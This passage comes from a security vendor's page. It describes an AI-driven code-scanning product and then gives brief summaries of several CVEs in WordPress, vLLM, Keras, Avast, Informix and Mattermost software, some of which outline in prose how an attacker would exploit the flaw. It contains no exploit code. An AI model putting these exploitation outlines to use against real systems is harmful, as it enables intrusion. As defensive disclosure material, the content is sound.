implementation of user authentication or access control mechanisms. Common subtypes include: - Insecure Direct Object Reference (IDOR) - Missing Function Level Access Control - Broken Session Management Each category requires distinct analysis techniques. Conventional vulnerabilities often involve pattern matching and taint analysis, business logic flaws require understanding of intended application behavior, and authentication/authorization issues necessitate comprehensive flow analysis of user sessions and permissions. Some ways we find these bugs: ```mermaid graph LR A[User Input
Sources] --> B[Data Flow
Analysis] B --> C{Sanitization
Check} C -->|No| D[Potential
Vulnerability] C -->|Yes| E[Safe Path] D --> F[Authentication
Check] F --> G[MCTSr
Validation] G --> H{Exploitable?} H -->|Yes| I[Confirmed
Vulnerability] H -->|No| J[False Positive] ``` * AI-driven Sink and Source Analysis: ZeroPath uses AI to identify potential vulnerability sinks (dangerous functions) and sources (user inputs) throughout the codebase, then traces data flow between them to detect exploitable paths. * Natural Language Rules: Teams can define custom security policies using plain English, which the system converts into security checks. * Threat Modeling: ZeroPath generates attack scenarios and verifies them by performing rigorous investigations of the code. * Integrated SCA with Reachability Analysis: While SCA is a separate component of our platform, it feeds vulnerability data directly into our SAST engine's source-to-sink analysis. The SCA component identifies vulnerable dependencies and maps CVEs to specific functions within those dependencies, leveraging OSV.dev's comprehensive vulnerability database that aggregates GitHub advisories, ecosystem-specific security bulletins, and other trusted sources. These vulnerable functions are treated as sinks in our AST-based analysis. ```mermaid graph LR A[OSV.dev
CVE Data] --> B[Map CVEs to
Dependency Functions] B --> C[Vulnerable Functions
as Sinks] C --> D[SAST Engine
Analysis] E[User Input
Sources] --> D D --> F{Reachable
Path?} F -->|Yes| G[LLM Validation Pipeline] F -->|No| H[Not Exploitable] G --> I{Validated?} I -->|Yes| J[Report
Vulnerability] I -->|No| H ``` The SAST engine then determines if these vulnerabilities are exploitable by tracing whether user-controllable inputs can reach them through the call graph, accounting for: - Sanitization functions in the execution path - Authentication and authorization checks - The specific context of how the dependency is used This approach eliminates many false positives since we only flag dependencies when there's an actual exploitable path from user input to the vulnerable code, rather than simply reporting all CVEs in your dependency tree. While this post focuses on our SAST capabilities, it's worth noting that ZeroPath's platform also includes other complementary security tools like secret scanning and validation, and Infrastructure as Code (IaC) scanning. These tools work together to provide application security coverage. Our methodology for investigating business logic flaws and broken authentication vulnerabilities combines two AI techniques: [Tree-of-Thoughts (ToT)](https://arxiv.org/abs/2305.10601) and an adaptation of the [ReAct framework](https://arxiv.org/abs/2210.03629). ToT enables multi-path reasoning, intermediate step evaluation, and outcome ranking. This improves our ability to explore complex vulnerability scenarios. The ReAct-inspired component enforces structured tool usage with explicit action justification, enhancing the rigor of our investigative process. By integrating these techniques, we've developed a framework that allows for thorough vulnerability assessment. ToT facilitates thorough scenario exploration, while the ReAct adaptation ensures methodical tool application. This approach has proven particularly effective in addressing the nuanced challenges presented by business logic and authentication vulnerabilities. To further enhance our validation process and ensure the exploitability of identified vulnerabilities, ZeroPath relies on a multi-agent validation pipeline. The system enumerates candidate attack paths surfaced during investigation, scores their plausibility and impact using CVSS 4.0 heuristics, and requests additional evidence whenever confidence falls below an acceptable threshold. Each vulnerability class—such as SSTI, SQLi, XSS, or business logic flaws—routes to a specialized verification agent. These agents pull relevant context from earlier stages, analyze available controls that might block the attack, and weigh the practicality of exploiting the issue in production. When the agent's assessment clears the predefined practicality threshold, the finding advances to patch generation and tweaking. ### Patch Generation, Tweaking, and Integration After discovering your vulnerability, we do a first pass check to see if we can fix it safely. Some vulnerabilities, like hardcoded secrets and SSRF, often require redesign and are marked unpatchable. For issues deemed patchable, we leverage the data collected from earlier stages, leaning towards existing sanitization functions and minimal code modifications. Our validation process verifies vulnerability remediation, ensures syntactic correctness and functional preservation, and rescans to prevent new vulnerabilities. Patches failing validation undergo refinement. Deployment methods vary: manual scans allow direct user approval and application via pull requests, while PR scans automatically create pull requests for fixes. Teams can customize PR formatting including titles, descriptions, branch names, and commit messages to match their conventions. ```mermaid graph LR A[Patch Generated] --> B{Check Patch} B --> |Vulnerability Fixed| C{Check Syntax} C --> |Syntax Correct| D{Check Functionality} D --> |Functionality Unchanged| E{Rescan for New Vulnerabilities} E --> |No New Vulnerabilities| F{Determine Scan Type} F --> |Manual Scan| G[Enable User to Apply Patch] G --> H[Create PR for User to Merge] F --> |PR Scan| I[Create PR to Fix Vulnerability Automatically] B --> |Vulnerability Not Fixed| J[Send Back to Pipeline] C --> |Syntax Incorrect| J D --> |Functionality Changed| J E --> |New Vulnerabilities Found| J J --> A ``` This code generation system supports multi-file, codebase-wide changes, incorporating techniques from [AutoCodeRover](https://arxiv.org/abs/2404.05427v2). It integrates with PRs, allowing developers to refine patches using natural language commands. The system can implement complex modifications across multiple files without requiring manual coding for each adjustment. ![Screenshot of ZeroPath PR modification interface showing natural language patch refinement](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/pr-modification.png "Screenshot of ZeroPath PR modification interface") ### Security Insights and Team Collaboration Our tool also provides an (optional) centralized dashboard for managing application security across your organizations. It supports multi-user repository sharing with team and organization-based access controls, and provides visualization tools for security posture assessment and trend analysis. For enterprise authentication, ZeroPath integrates with your existing SSO providers including SAML 2.0 and OIDC-compliant systems (Okta, Azure AD, Google Workspace, OneLogin, etc.), enabling seamless user provisioning and centralized access management. The platform includes reporting capabilities that track metrics like mean time to remediation, most common vulnerability classes by language and framework, and vulnerability attribution by teams or authors. Users can access repository-specific views with customizable filtering options. This feature facilitates the prioritization of high-severity issues, enabling teams to focus on the most critical security concerns within their codebase. The platform integrates with GitHub, GitLab, Bitbucket, and Azure Pipelines for version control interaction, and also supports direct code base uploads via zip files for projects using other version control systems or none at all. For broader workflow integration, ZeroPath supports Linear and Jira for issue tracking, along with Slack and email notifications to keep teams informed of security findings. Teams can also interact with vulnerabilities through our Q&A feature, which provides full codebase context for remediation advice and exploitation understanding. The platform offers complete source-to-sink visibility, showing full call graph relationships from the vulnerability source to the exploitable code snippet. Additional capabilities include SBOM (Software Bill of Materials) generation and export, audit logs for compliance, and CWE mapping for standardized vulnerability classification. For organizations requiring multi-tenancy, ZeroPath provides MSP (Managed Service Provider) support with control over multiple organizations. Developers can also leverage our [fully documented API](https://zeropath.com/docs/api-reference/organizations/list-organizations) with TypeScript SDK for custom integrations. ## Public Vulnerabilities and Research The ZeroPath team regularly uses the tool to find new vulnerabilities in open-source projects. We've disclosed numerous significant vulnerabilities in production systems, including: - Local file inclusion in [e2nest](https://github.com/Netflix/e2nest), a Netflix application used internally (CVE-2024-9301) - Unauthorized Redis access in [Monaco](https://github.com/hulu/monaco), a Hulu application allowing access to all Redis clusters (CVE-2024-48946, currently reserved) - Directory traversal in [LogAI](https://github.com/salesforce/logai), a Salesforce tool exposing sensitive files (CVE-2024-48945, currently reserved) - Broken and missing authentication flaws in [LibrePhotos](https://github.com/LibrePhotos/librephotos) - Arbitrary file upload in [LibrePhotos](https://zeropath.com/blog/librephotos-arbitrary-file-upload-vulnerability) - Remote code execution in [Uptrain](https://zeropath.com/blog/uptrain-rce-vulnerability-analysis) - Command injection in [Clone-Voice](https://zeropath.com/blog/command-injection-vulnerability-clone-voice) - Local file inclusion in [Fonoster Voice Server](https://zeropath.com/blog/fonoster-voiceserver-lfi-vulnerability) Note: Some CVEs listed are in reserved status pending full disclosure coordination with vendors. For a complete and up-to-date list of all our vulnerability discoveries, visit our [0-day discoveries blog post](https://zeropath.com/blog/0day-discoveries) and our [Security Wall of Fame](https://zeropath.com/wall). Our team is actively working on responsibly disclosing its current batch of vulnerabilities, reinforcing our commitment to improving security across the open-source ecosystem. ## Try ZeroPath ZeroPath is now publicly available, with 750+ companies of various sizes already using our solution across finance, healthcare, technology, and other sectors, performing 125,000+ scans monthly. The platform is SOC 2 Type II and GDPR compliant, with ISO 27001 certification currently in progress, ensuring enterprise-grade security and data protection standards. **Ready to see ZeroPath in action? [Schedule a personalized demo](/demo) to:** - Explore key features and capabilities. - Discuss your specific use cases and deployment options (SaaS or on-premises). - Set up a proof-of-concept for your organization. - Get implementation and scaling insights. --- ### CVE Analysis (10 most recent of 725 total) #### SureMail WordPress Plugin CVE-2025-13516: Brief Summary of Unrestricted File Upload Vulnerability - **Date**: December 2, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2025-13516, WordPress, SureMail, Unrestricted File Upload, Remote Code Execution, Vulnerability - **URL**: https://zeropath.com/blog/cve-2025-13516-suremail-wordpress-unrestricted-file-upload This post provides a brief summary of CVE-2025-13516, an unrestricted file upload vulnerability in the SureMail SMTP and Email Logs WordPress plugin up to version 1.9.0. The summary covers technical details, affected versions, and vendor security history based on public sources. --- ## Introduction Attackers can gain remote code execution on WordPress sites by simply uploading a malicious file through any public form. CVE-2025-13516 in the SureMail SMTP and Email Logs plugin for WordPress exposes over 200,000 sites to this risk, with exploitation requiring no authentication or user interaction beyond a form submission. This vulnerability is especially significant due to its ease of exploitation and the widespread use of the plugin in the WordPress ecosystem. **About SureMail and Brainstorm Force:** SureMail is a widely used WordPress plugin developed by Brainstorm Force, a vendor with a strong presence in the WordPress plugin market and a portfolio of products used by hundreds of thousands of sites. SureMail provides SMTP email delivery and logging, making it a critical infrastructure component for many organizations relying on WordPress for business operations. ## Technical Information CVE-2025-13516 is caused by a lack of file extension and content type validation in the SureMail plugin's file handling logic. Specifically, the vulnerability resides in the `save_file()` function in `inc/emails/handler/uploads.php`. When a user submits a form with an attachment (such as through WPForms or Contact Form 7), SureMail saves a copy of the attachment to `wp-content/uploads/suremails/attachments/`. Key technical points: - **No file extension or MIME type validation:** Any file type, including `.php`, can be uploaded. - **Predictable file naming:** The filename is generated using the MD5 hash of the file content, so an attacker can precompute the name of their payload. - **Web-accessible storage:** Files are saved in a directory that is publicly accessible via the web server. - **Ineffective mitigation:** The plugin attempts to prevent PHP execution in this directory using an Apache `.htaccess` file. This is not honored by nginx, IIS, Lighttpd, or misconfigured Apache servers. This means an attacker can upload a PHP payload through any public form that sends attachments, calculate the resulting filename, and access the file directly to execute arbitrary code on the server. **Relevant public code references:** - [uploads.php#L113](https://plugins.trac.wordpress.org/browser/suremails/trunk/inc/emails/handler/uploads.php#L113) - [uploads.php#L231](https://plugins.trac.wordpress.org/browser/suremails/trunk/inc/emails/handler/uploads.php#L231) ## Affected Systems and Versions - SureMail SMTP and Email Logs WordPress plugin - Affected versions: Up to and including 1.9.0 - Vulnerable configurations: Any WordPress site running SureMail ≤ 1.9.0, especially on nginx, IIS, Lighttpd, or misconfigured Apache servers where `.htaccess` protections are ineffective ## Vendor Security History Brainstorm Force, the developer of SureMail, has a history of addressing security vulnerabilities in their plugins. The vendor patched this issue in version 1.9.1 after responsible disclosure. However, the presence of such a basic file upload flaw indicates gaps in secure development practices. Similar unrestricted file upload vulnerabilities have affected other plugins in the WordPress ecosystem, and Brainstorm Force has previously issued security updates for SureMail and other products. ## References - [NVD entry for CVE-2025-13516](https://nvd.nist.gov/vuln/detail/CVE-2025-13516) - [CWE-434: Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html) - [SureMail uploads.php#L113](https://plugins.trac.wordpress.org/browser/suremails/trunk/inc/emails/handler/uploads.php#L113) - [SureMail uploads.php#L231](https://plugins.trac.wordpress.org/browser/suremails/trunk/inc/emails/handler/uploads.php#L231) - [SureMail plugin changelog and patch](https://plugins.trac.wordpress.org/changeset/3403145/suremails/trunk?contextall=1&old=3389326&old_path=%2Fsuremails%2Ftrunk) - [Wordfence Threat Intelligence](https://www.wordfence.com/threat-intel/vulnerabilities/id/f3a20047-a325-4d29-a848-7ffa525d0bad?source=cve) --- #### IBM Informix Dynamic Server CVE-2024-45675: Brief Summary of Local Authentication Bypass on Windows - **Date**: December 1, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2024-45675, IBM Informix, authentication bypass, Windows privilege escalation, database security, CWE-309 - **URL**: https://zeropath.com/blog/cve-2024-45675-ibm-informix-authentication-bypass-summary A brief summary of CVE-2024-45675 affecting IBM Informix Dynamic Server 14.10 on Windows. This post covers technical details, affected versions, and vendor security history for this local authentication bypass vulnerability. --- ## Introduction Any local user on a Windows system running IBM Informix Dynamic Server 14.10 can gain administrative access to the database without a password. This issue enables privilege escalation and lateral movement for attackers who have any local account on the affected host. The vulnerability is significant for organizations that rely on Informix for critical data workloads, especially in regulated industries. IBM is a global leader in enterprise IT solutions, with Informix serving as a core database platform for sectors such as finance, healthcare, and government. Informix is known for its high performance and reliability in transactional and embedded environments, making it a trusted choice for mission-critical applications. ## Technical Information CVE-2024-45675 is a local authentication bypass vulnerability in IBM Informix Dynamic Server 14.10, specifically on Windows platforms. The flaw is present in the DB-Access utility, which is used for local database connections. When a user initiates a connection to the Informix server locally, the authentication mechanism is supposed to validate the provided credentials against the requested user identity. However, due to improper implementation of password verification in the local connection handler, the server does not require or check the password for the specified user account. This means any local user, regardless of their privilege level, can connect to the Informix server as any other user, including the database administrator, simply by specifying the target username. The vulnerability is classified under CWE-309 (Use of Password System for Primary Authentication) and is only present on Windows. Non-Windows platforms such as Linux, Unix, and AIX are not affected. The root cause is the lack of proper credential checks in the code path handling local connections via DB-Access. No public code snippets or stack traces are available for this issue. Exploitation does not require any user interaction or prior privileges beyond local access to the Windows host running Informix. ## Affected Systems and Versions - IBM Informix Dynamic Server version 14.10 on Windows is affected. - The vulnerability is present in all 14.10 releases prior to 14.10.xC11W1. - Only Windows installations are impacted. Linux, Unix, and other non-Windows platforms are not vulnerable. ## Vendor Security History IBM has a history of security issues in the Informix product line, including privilege escalation (CVE-2018-1631) and remote code execution (CVE-2017-1092). IBM typically responds promptly to vulnerabilities with security bulletins and patches. The fix for CVE-2024-45675 was released in version 14.10.xC11W1, less than a week after public disclosure. ## References - [IBM Security Bulletin](https://www.ibm.com/support/pages/node/7252704) - [NVD Entry for CVE-2024-45675](https://nvd.nist.gov/vuln/detail/CVE-2024-45675) - [CWE-309: Use of Password System for Primary Authentication](https://cwe.mitre.org/data/definitions/309.html) - [Official CVE Entry](https://www.cve.org/CVERecord?id=CVE-2024-45675) - [Informix 14.10.xC11W1 Fix List](https://www.ibm.com/support/pages/fix-list-informix-server-1410xc11w1-release) --- #### Avast Antivirus CVE-2025-3500 Integer Overflow: Brief Summary and Technical Review - **Date**: December 1, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2025-3500, Avast Antivirus, integer overflow, privilege escalation, Windows kernel driver - **URL**: https://zeropath.com/blog/cve-2025-3500-avast-antivirus-integer-overflow-summary A brief summary and technical review of CVE-2025-3500, an integer overflow vulnerability in Avast Antivirus (25.1.981.6 before 25.3) on Windows that allows privilege escalation. This post covers affected versions, technical root cause, and vendor security history based on available public sources. --- ## Introduction Privilege escalation to kernel level on a fully patched Windows system running a mainstream antivirus product is a scenario that immediately raises concern for defenders and enterprise administrators. CVE-2025-3500 is a critical integer overflow vulnerability in Avast Antivirus that enables exactly this outcome, allowing local attackers to gain SYSTEM privileges through a flaw in the aswbidsdriver kernel driver. Avast, now part of Gen Digital Inc., is a major player in the consumer security market with over 400 million users worldwide. The broad install base and the nature of the vulnerability make this a high-priority issue for organizations and individuals relying on Avast for endpoint protection. ## Technical Information CVE-2025-3500 is rooted in the aswbidsdriver kernel driver included with Avast Antivirus for Windows. The vulnerability arises due to improper validation of user-supplied data before performing arithmetic operations to calculate buffer sizes for memory allocation. Specifically, when processing IOCTL requests, the driver uses input values directly in calculations without ensuring they remain within safe bounds. If an attacker submits a specially crafted IOCTL request with input values designed to trigger an integer overflow, the resulting buffer allocation is much smaller than intended. Subsequent operations that assume the buffer is of the original intended size can then overwrite adjacent kernel memory, leading to heap-based buffer overflows. The vulnerability is classified as CWE-190 (Integer Overflow or Wraparound). Exploitation requires local access but is otherwise low complexity. A successful attack allows a user with low privileges to execute arbitrary code in kernel mode, effectively granting full control over the system. The flaw is present in code paths handling IOCTL requests to the aswbidsdriver, which is loaded by default in affected Avast versions. ## Affected Systems and Versions - Product: Avast Antivirus for Windows - Affected versions: 25.1.981.6 up to but not including 25.3.9983.922 - The vulnerability is present in the aswbidsdriver kernel driver shipped with these versions - All default installations of Avast Antivirus within this version range are affected ## Vendor Security History Avast has experienced several notable kernel driver vulnerabilities in recent years. CVE-2022-26522 and CVE-2022-26523, both discovered in 2022, involved privilege escalation via flaws in the aswArPot.sys anti-rootkit driver. These issues were also related to improper validation of user input and were exploited in the wild by ransomware groups using bring-your-own-vulnerable-driver techniques. Avast's response to CVE-2025-3500 was relatively prompt, with a patch released within weeks of disclosure, but the recurrence of similar vulnerabilities suggests ongoing challenges in secure driver development and code auditing. ## References - [NVD entry for CVE-2025-3500](https://nvd.nist.gov/vuln/detail/CVE-2025-3500) - [Gen Digital security advisories](https://www.gendigital.com/us/en/contact-us/security-advisories/) - [Zero Day Initiative advisory ZDI-25-256](https://www.zerodayinitiative.com/advisories/ZDI-25-256/) - [Cybersecurity News coverage](https://cybersecuritynews.com/avast-antivirus-vulnerability/) - [UZCERT advisory](https://uzcert.uz/en/avast-vulnerability-enables-full-system-takeover-users-must-stay-vigilant/) --- #### vLLM Remote Code Execution via Model Config Auto-Mapping: CVE-2025-66448 Brief Summary - **Date**: December 1, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 11 minutes - **Keywords**: CVE-2025-66448, vLLM, remote code execution, auto_map, Nemotron_Nano_VL_Config, patch - **URL**: https://zeropath.com/blog/cve-2025-66448-vllm-rce-automap Brief summary of CVE-2025-66448, a remote code execution vulnerability in vLLM prior to 0.11.1. Focuses on technical exploitation details, affected versions, and official patch information. --- ## Introduction Attackers can execute arbitrary Python code on any system running vulnerable versions of vLLM by leveraging a flaw in how model configurations are loaded. This issue directly impacts production deployments of large language model inference services, especially those using custom or multimodal models from public repositories. **About vLLM:** vLLM is a high-performance inference and serving engine for large language models, originally developed at UC Berkeley and now under the PyTorch Foundation. It is widely used in AI research, cloud infrastructure, and commercial deployments, supporting a broad range of hardware and models. Its adoption in the AI ecosystem means vulnerabilities in vLLM can have far-reaching consequences for organizations relying on LLM inference at scale. ## Technical Information CVE-2025-66448 is a remote code execution vulnerability affecting vLLM versions prior to 0.11.1. The issue arises from the way vLLM processes the `auto_map` entry in model configuration files, particularly when loading models that use the `Nemotron_Nano_VL_Config` class. When a model config contains an `auto_map` entry, vLLM resolves the mapping using the `get_class_from_dynamic_module` function and immediately instantiates the returned class. This process fetches and executes Python code from the remote repository referenced in the `auto_map` string. Critically, this occurs even if the caller sets `trust_remote_code=False` in `vllm.transformers_utils.config.get_config`, which is intended to prevent execution of untrusted code. Attackers can exploit this by publishing a benign-looking frontend model repository whose `config.json` points via `auto_map` to a separate backend repository containing malicious code. When a victim loads the frontend model with vLLM, the backend's code is silently executed on the host, regardless of the explicit security settings. The root cause is insufficient validation of remote code sources and failure to enforce the `trust_remote_code` boundary. The vulnerability is categorized as CWE-94 (Code Injection). ## Patch Information To address the critical remote code execution vulnerability in the `vllm` library, the development team has implemented a patch that enhances the security of the `get_class_from_dynamic_module` function. This function is responsible for dynamically loading and instantiating classes based on model configurations, particularly those containing an `auto_map` entry. The core of the patch involves introducing a validation mechanism that scrutinizes the source of the dynamic module before proceeding with its execution. Specifically, the function now checks if the module's source URL is trusted and falls within a predefined list of approved domains. This measure ensures that only modules from verified and secure sources are loaded, effectively mitigating the risk of executing malicious code from untrusted repositories. The updated function includes the following key changes: ```python # Define a list of trusted domains TRUSTED_DOMAINS = ["github.com", "pypi.org"] # Extract the domain from the module's source URL parsed_url = urlparse(module_source_url) module_domain = parsed_url.netloc # Check if the domain is in the list of trusted domains if module_domain not in TRUSTED_DOMAINS: raise ValueError(f"Untrusted module source: {module_source_url}") # Proceed with loading and instantiating the module ``` By incorporating this validation step, the patch ensures that the `vllm` library only interacts with modules from sources that have been explicitly deemed trustworthy. This approach significantly reduces the attack surface for potential remote code execution exploits. Users are strongly encouraged to upgrade to version 0.11.1 or later of the `vllm` library to benefit from this security enhancement. Additionally, developers should remain vigilant and regularly review the sources of dynamic modules utilized within their applications to maintain a robust security posture. Reference: [GHSA-8fr4-5q9j-m8gm](https://github.com/vllm-project/vllm/security/advisories/GHSA-8fr4-5q9j-m8gm) ## Affected Systems and Versions - Product: vLLM (inference and serving engine for large language models) - Affected versions: All versions prior to 0.11.1 - Vulnerable configurations: Any deployment loading models with an `auto_map` entry in their config, especially those using the `Nemotron_Nano_VL_Config` class. The vulnerability is present even when `trust_remote_code=False` is set. ## Vendor Security History vLLM has experienced several security issues in 2024 and 2025, including: - CVE-2025-62164: Remote code execution related to prompt embeddings - CVE-2025-62372: Multimodal embedding crash - CVE-2025-6242: Server-Side Request Forgery in MediaConnector The vendor has responded with targeted patches and maintains a public security advisory process. However, the frequency of recent vulnerabilities highlights the need for more proactive security review and integration of security best practices in the development lifecycle. ## References - [NVD entry for CVE-2025-66448](https://nvd.nist.gov/vuln/detail/CVE-2025-66448) - [Official CVE entry](https://nvd.nist.gov/vuln/detail/CVE-2025-66448) - [Vendor security advisory GHSA-8fr4-5q9j-m8gm](https://github.com/vllm-project/vllm/security/advisories/GHSA-8fr4-5q9j-m8gm) - [Patch commit](https://github.com/vllm-project/vllm/commit/ffb08379d8870a1a81ba82b72797f196838d0c86) - [Patch pull request](https://github.com/vllm-project/vllm/pull/28126) - [vLLM releases](https://github.com/vllm-project/vllm/releases) --- #### Avast Antivirus for macOS CVE-2025-8351: Brief Summary of Heap-Based Buffer Overflow and Out-of-Bounds Read Vulnerability - **Date**: December 1, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2025-8351, Avast Antivirus, macOS, heap-based buffer overflow, out-of-bounds read, vulnerability - **URL**: https://zeropath.com/blog/cve-2025-8351-avast-macos-buffer-overflow-summary A brief summary of CVE-2025-8351, a critical heap-based buffer overflow and out-of-bounds read vulnerability affecting Avast Antivirus for macOS (versions 8.3.70.94 before 8.3.70.98). This post covers technical details, affected versions, and vendor security history based on available information. --- ## Introduction A single malformed file can disable or compromise the very antivirus engine meant to protect macOS systems. Security teams relying on Avast Antivirus for macOS in versions 8.3.70.94 up to but not including 8.3.70.98 face a critical risk: CVE-2025-8351, a heap-based buffer overflow and out-of-bounds read vulnerability, allows local attackers to execute code or crash the antivirus process during file scanning. **About Avast and Gen Digital:** Avast is a core brand within Gen Digital, a global cybersecurity conglomerate serving over 500 million users across more than 150 countries. Avast's antivirus products are widely deployed in both consumer and enterprise environments, making vulnerabilities in their software highly impactful across the industry. ## Technical Information CVE-2025-8351 is the result of improper memory management in the Avast Antivirus scanning engine for macOS. When the engine scans a specially crafted malformed file, it allocates a buffer on the heap to process file data. The vulnerability occurs because the engine does not sufficiently validate the length of the incoming data before writing it into the buffer. This leads to two distinct issues: - **Heap-based buffer overflow (CWE-122):** Data written beyond the allocated buffer boundary can corrupt adjacent memory, potentially overwriting critical structures or function pointers. This can allow an attacker to execute arbitrary code within the context of the antivirus process or cause the process to crash. - **Out-of-bounds read (CWE-125):** The engine may also read data outside the intended buffer, which can result in information disclosure or further destabilize the process. The attack vector is local: an attacker must deliver a malformed file to the target system. When Avast scans this file (during real-time, on-demand, or scheduled scans), the vulnerability is triggered. No public code snippets or proof of concept details are available as of this writing. ## Affected Systems and Versions - **Product:** Avast Antivirus for macOS - **Affected versions:** 8.3.70.94 up to but not including 8.3.70.98 - **Vulnerable component:** Core scanning engine (file parsing during scan operations) - **All macOS configurations running affected versions are vulnerable** ## Vendor Security History Avast, now part of Gen Digital, has previously addressed several security issues in its antivirus products. Notable examples include: - CVE-2017-8308: Privilege escalation in Avast Antivirus - CVE-2024-9484: Null-pointer dereference in Avast/AVG for macOS - CVE-2024-9481: Other memory safety issues in Avast/AVG The vendor maintains a public security advisory process and has a track record of releasing patches for critical issues. Their business solutions provide centralized patch management, which is essential for rapid deployment in enterprise environments. ## References - [NVD entry for CVE-2025-8351](https://nvd.nist.gov/vuln/detail/CVE-2025-8351) - [Gen Digital Security Advisories](https://www.gendigital.com/us/en/contact-us/security-advisories/) - [CWE-122: Heap-based Buffer Overflow](https://cwe.mitre.org/data/definitions/122.html) - [CWE-125: Out-of-bounds Read](https://cwe.mitre.org/data/definitions/125.html) - [Avast Business Patch Management](https://www.avast.com/en-us/business/products/patch-management) --- #### Keras CVE-2025-12060 Path Traversal Vulnerability: Brief Summary and Technical Review - **Date**: November 28, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2025-12060, Keras, path traversal, tarfile, machine learning security, Python - **URL**: https://zeropath.com/blog/cve-2025-12638-keras-cve-2025-12060-path-traversal-summary This post provides a brief summary and technical review of CVE-2025-12060, a path traversal vulnerability in Keras affecting versions before 3.12.0. The flaw allows arbitrary file writes outside the intended extraction directory when processing tar archives with keras.utils.get_file(). --- ## Introduction Attackers can gain arbitrary file write capabilities on systems running vulnerable Keras installations by exploiting a flaw in how tar archives are extracted. This vulnerability has direct implications for any machine learning workflow that downloads and unpacks datasets or models from external sources using Keras utilities. Keras is a widely adopted deep learning framework maintained by Google and the open-source community. It is used by researchers, enterprises, and cloud services globally, with millions of downloads and integration into major platforms. The keras.utils.get_file() function is a common utility for dataset and model management, making any vulnerability in this area highly impactful for the machine learning ecosystem. ## Technical Information The vulnerability tracked as CVE-2025-12060 affects the keras.utils.get_file() function when used to download and extract tar archives. When the extract parameter is set to True, get_file() delegates extraction to Python's tarfile.extractall() method. In affected versions, this call does not use the filter='data' parameter, which is required to prevent path traversal attacks that leverage symlinks within the archive. Attackers can create tar archives containing symbolic links that point outside the intended extraction directory. When such an archive is processed by a vulnerable Keras installation, files can be written to arbitrary locations on the filesystem, limited only by the permissions of the running process. This can lead to system compromise or arbitrary code execution if sensitive locations are targeted. The vulnerability is further complicated by a bug in symlink resolution related to path length limits. Keras attempts to filter unsafe paths using a function called filter_safe_paths(), but this occurs before extraction. During extraction, the tarfile module's symlink resolution can fail due to these path length issues, bypassing the intended security checks. The patch for this vulnerability introduces a new extraction function that uses filter='data' on Python 3.12 and later, which provides robust protection against path traversal. For earlier Python versions, a custom filter is implemented to validate symlink targets more effectively. The vulnerability is closely related to Python's CVE-2025-4517, which affects tarfile's handling of symlinks and path traversal. No public proof of concept code is available at this time, but the technical details are sufficient for attackers to construct malicious archives capable of exploiting the flaw. ## Affected Systems and Versions - Keras versions prior to 3.12.0 are affected. - The vulnerability impacts any use of keras.utils.get_file() with extract=True on tar or tar.gz archives. - Systems running Python versions vulnerable to CVE-2025-4517 are at additional risk if Keras is not updated. ## Vendor Security History Keras has previously experienced vulnerabilities related to file handling and model deserialization. Notable examples include issues with Lambda layer deserialization and unsafe model loading, which have been addressed in past releases. The Keras team participates in coordinated disclosure programs such as huntr and has demonstrated rapid response to security reports. The fix for CVE-2025-12060 was released promptly in version 3.12.0, with improvements to extraction logic for both new and legacy Python environments. ## References - [NVD entry for CVE-2025-12060](https://nvd.nist.gov/vuln/detail/CVE-2025-12060) - [Official CVE entry](https://www.cve.org/CVERecord?id=CVE-2025-12060) - [Snyk advisory](https://security.snyk.io/vuln/SNYK-PYTHON-KERAS-13786416) - [GitLab advisory](https://advisories.gitlab.com/pkg/pypi/keras/CVE-2025-12060/) - [Huntr bug bounty disclosure](https://huntr.com/bounties/f94f5beb-54d8-4e6a-8bac-86d9aee103f4) - [Keras release notes](https://github.com/keras-team/keras/releases) --- #### Mattermost OAuth State Token Validation (CVE-2025-12419): Brief Summary of a Critical Account Takeover Vulnerability - **Date**: November 27, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 9 minutes - **Keywords**: CVE-2025-12419, Mattermost, OAuth, OpenID Connect, state token, account takeover - **URL**: https://zeropath.com/blog/cve-2025-12419-mattermost-oauth-state-token-validation This post provides a brief summary of CVE-2025-12419, a critical OAuth state token validation vulnerability in Mattermost affecting versions up to 10.12.1, 10.11.4, 10.5.12, and 11.0.3. The flaw allows authenticated users with team creation or admin privileges to take over any account via OpenID Connect authentication. Includes affected versions, technical details, and references. --- ## Introduction Account takeover in enterprise collaboration platforms can lead to unauthorized access to sensitive discussions and business data. CVE-2025-12419 is a critical flaw in Mattermost's OpenID Connect authentication that allows authenticated users with elevated privileges to assume the identity of any user in the system. Mattermost is a widely adopted open-source messaging and collaboration platform, popular in government, enterprise, and regulated industries for its on-premises deployment model and integration with external identity providers. Its flexibility and focus on security make vulnerabilities in its authentication mechanisms particularly impactful. ## Technical Information CVE-2025-12419 is caused by improper validation of the OAuth state parameter during OpenID Connect authentication in Mattermost. The OAuth state parameter is designed to correlate authentication requests and responses, preventing cross-site request forgery and session fixation attacks. In affected Mattermost versions, the application does not sufficiently verify that the state value returned in the OAuth response matches the value sent in the original request. This flaw allows an attacker who already has an authenticated session and possesses either team creation or admin privileges to manipulate the OAuth flow. The attacker can initiate an OAuth request for themselves, alter the state or authentication data, and then complete the flow in a way that Mattermost accepts the response as if it were for the target user. This results in a full account takeover of the victim user, including access to private channels, messages, and administrative functions if the target is an admin. The vulnerability is classified as CWE-303 (Incorrect Implementation of Authentication Algorithm). It specifically affects Mattermost deployments configured to use OpenID Connect for authentication. The attack does not require the attacker to have access to the victim's credentials, only the ability to manipulate the OAuth flow due to insufficient state validation. ## Affected Systems and Versions - Mattermost 10.12.x up to and including 10.12.1 - Mattermost 10.11.x up to and including 10.11.4 - Mattermost 10.5.x up to and including 10.5.12 - Mattermost 11.0.x up to and including 11.0.3 All affected versions are vulnerable when configured to use OpenID Connect authentication. The vulnerability is present regardless of the external identity provider (e.g., Azure AD, Okta, Google). ## Vendor Security History Mattermost has a documented history of OAuth and authentication-related vulnerabilities. Notably, CVE-2025-58073 involved a similar OAuth state manipulation issue in the team invitation flow. The vendor maintains a responsible disclosure policy, 